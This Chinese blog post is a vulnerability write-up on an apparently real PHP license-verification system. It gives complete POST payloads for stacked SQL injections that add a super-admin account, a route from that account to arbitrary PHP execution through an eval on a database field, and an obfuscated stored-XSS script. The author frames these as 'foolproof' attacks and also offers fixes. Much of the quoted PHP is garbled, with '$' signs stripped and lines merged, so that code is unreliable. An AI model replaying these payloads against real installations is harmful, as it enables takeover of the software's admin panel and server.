该程序用一句千疮百孔来形容是丝毫不过分的,各位当引以为戒~

0x0:

目标程序下载地址:http://wlyz.bingxs.com/ 嗯github上有解密版.

0x1:傻瓜化一键添加超级管理员
app/api/controller/Common.php

protected function init() {
        require BX_ROOT . 'app/api/api_function.php';
        id = !empty(_POST['id']) ? _POST['id'] : exit(api_json('400','',false));data = !empty(_POST['data']) ?_POST['data'] : exit(api_json('400','',false));
        this->con = Db::getInstance();
       //此处存在 注入漏洞  简单修复它:改为this->software = this->con->select('software',"id='{id}'");
        this->software =this->con->select('software',"id={id}");
        if(!this->software) {
            exit(api_json('404','',false));
        }
        this->isBlackIp();this->log = new InsertLog(this->software['0']['id']);
        define('API_ENCRYPT',this->software['0']['encrypt']);
        define('API_KEY',this->software['0']['s_key']);
      //借助前面注入漏洞添加的账号 可以直接在后台修改该字段 达到执行任意php代码的目的
        if(API_ENCRYPT == 'defined_encrypt') {
            eval(this->software['0']['defined_encrypt']);
        }
        this->data = bx_decrypt(data,API_KEY,API_ENCRYPT);
        if(!this->data) {
            exit(api_json('444','',false));
        }
        if(this->getState() == '2') {
            exit(api_json('403','',false));
        }
        do_action('api_common');
    }

//目标地址:/index.php/api/Software/getInfo
构造如下Post请求:

//password=md5(pWd+salt)
data=333&id=1;insert into bx_menber(username,password,power,salt,boss_id,software_id) values(char(97,100,109,105,110,116,101,115,116),char(48,100,51,98,100,52,98,53,56,49,55,50,51,53,49,53,97,97,100,50,98,100,55,97,56,51,57,51,56,100,53,55),1,0,1,0);

即可添加
user:admintest
pwd:admintest

0x2傻瓜化getshell:
app/api/controller/Common.php

 //借助注入漏洞添加的账号 可以直接在后台修改该字段 即可执行任意php代码
        if(API_ENCRYPT == 'defined_encrypt') {
            eval($this->software['0']['defined_encrypt']);
        }

0x3其他的神奇操作:

  //这个函数 存在大量问题 由它导致了几乎随处可见的mysql注入漏洞
  //虽然使用了预编译 但是直接预编译了整个sql指令 而未按照参数化编写.
    public function select(table,where = '', join = '',desc = '', limit = '',field = '') {
        try {
            ifwhere = '';order = '';
            desc_limit = '';
            if (! empty(where)) {
                ifwhere = "where {where}";
            }
            if (! empty(desc)) {order = "order by {desc} desc";
            }
            if (! empty(limit)) {
                desc_limit = "limit {limit}";
            }
            empty(field) ?field = "*" : FALSE;
            sql = "SELECT {field} FROM {this -> pre}{table} {join} {ifwhere} {order} {desc_limit}";
            sql = str_replace('pre_',this -> pre, sql);Model = this->server->prepare(sql);
            Model->execute();m_data = Model->fetchAll(\PDO::FETCH_ASSOC);
            returnm_data;
        }
        catch (\PDOException e) {
            exit(e -> getMessage());
        }
    }

例如:
/app/admin/model/Agent.php

public function lists(where,page,limit) {pageset = (page-1)*limit;
       //此处存在注入漏洞
        res =this->con->select('menber',where, 'LEFT JOIN pre_menber as a on pre_menber.boss_id = a.id', 'pre_menber.id',"{pageset},{limit}", 'pre_menber.id,pre_menber.username,pre_menber.power,pre_menber.money,pre_menber.consumed,pre_menber.congeal,
        pre_menber.comment,a.username as boss_name');
        empty(res) ? exit : FALSE;
        conut =this->con->select('menber',where,'','','','COUNT(id)');
        echo bx_lists(res, $conut['0']['COUNT(id)']);
        exit;
    }

//目标地址:/index.php/admin/Agent/lists(同理 其他model的lists函数也都具有该漏洞 修复建议是将limit转换到整数)
构造如下Post请求:

page=1&limit=30;insert into bx_menber(username,password,power,salt,boss_id,software_id) values(char(97,100,109,105,110,116,101,115,116),char(48,100,51,98,100,52,98,53,56,49,55,50,51,53,49,53,97,97,100,50,98,100,55,97,56,51,57,51,56,100,53,55),1,0,1,0); &power=&congeal=&menber_name=&username=

0x04XSS漏洞:
尽管在/core/function/function.php对POST进行了部分字符的转义(addslashes)以及部分输出的(new_html_special_chars) 但是依然存在巨大的问题

//POST/GET/COOKIE使用此函数预防inject
function addslashes_deep(value) {
    if (empty(value)) {
        return value;
    } else {
        return is_array(value) ? array_map('addslashes_deep', value) : addslashes(value);
    }
}
//部分输出使用此函数防止Xss
function new_html_special_chars(&string) {
    if (!is_array(string)) return htmlspecialchars(string);
    foreach (string as key =>val) string[key] = new_html_special_chars(val);
    returnstring;
}

用户处的XSS不谈 因为有对html的过滤
app/admin/model/User.php

public function lists(where,page,limit) {pageset = (page-1)*limit;
        res =this->con->select('user',where,'LEFT JOIN pre_software ON pre_user.software_id = pre_software.id
         LEFT JOIN pre_menber ON pre_user.menber_id = pre_menber.id', 'pre_user.id',"{pageset},{limit}", "pre_user.id,pre_user.username,pre_user.regtime,pre_user.endtime,pre_user.machine_code,pre_user.user_data,pre_user.comment,pre_user.congeal,pre_user.state,
         pre_user.heart_beat,pre_user.point,pre_software.name AS software_name,pre_menber.username AS menber_name");
        empty(res) ? exit : FALSE;
        new_html_special_chars(res);//此处过滤HTMLconut = this->con->select('user',where,'','','','COUNT(id)');
        foreach (res askey => value) {
            if(res[key]['state'] != "1") {
                if(res[key]['heart_beat']res[key]['state'] = "1";
                }
            }
        }
        echo bx_lists(res, $conut['0']['COUNT(id)']);
        exit;
    }

但是对单卡的管理却没有过滤 借此可以实现对代理端/作者端XSS储存型的攻击
/app/admin/model/SingleCard.php

public function lists(where,page,limit) {pageset = (page-1)*limit;
        res =this->con->select('single_card',where,'LEFT JOIN pre_software ON pre_single_card.software_id = pre_software.id        LEFT JOIN pre_menber ON pre_single_card.menber_id = pre_menber.id', 'pre_single_card.id',"{pageset},{limit}", 'pre_single_card.*, pre_software.name AS software_name,pre_menber.username as menber_name');
        empty(res) ? exit : FALSE;
        conut =this->con->select('single_card',where,'','','','COUNT(id)');
        foreach (res as key =>value) {
            if(res[key]['state'] != "1") {
                if(res[key]['heart_beat'] < time()) {
                    res[key]['state'] = "1";
                }
            }
        }
        echo bx_lists(res,conut['0']['COUNT(id)']);
        exit;
    }

接口:index.php/api/SingleCard/setCardData(写单卡自定义数据)(前端显示时未过滤html标签)

data = {"cardnum":"card","card_data":"<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59))</script>"}
POST:"id=" + 软件ID + "&data=" + 加密 (data)

其他位置:

后台->生成卡->备注/自定义数据同样可以XSS

0x5尾:
总结:编写程序时应充分考虑安全性问题,严格过滤用户输入信息,mysql操作应按照pdo的参数化形式 而不是prepare($sqlString) 这不会有任何的意义,此程序中mysql 设置的utf8 如果是gbk 还能够 宽字节注入 这也是需要防范的问题.

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据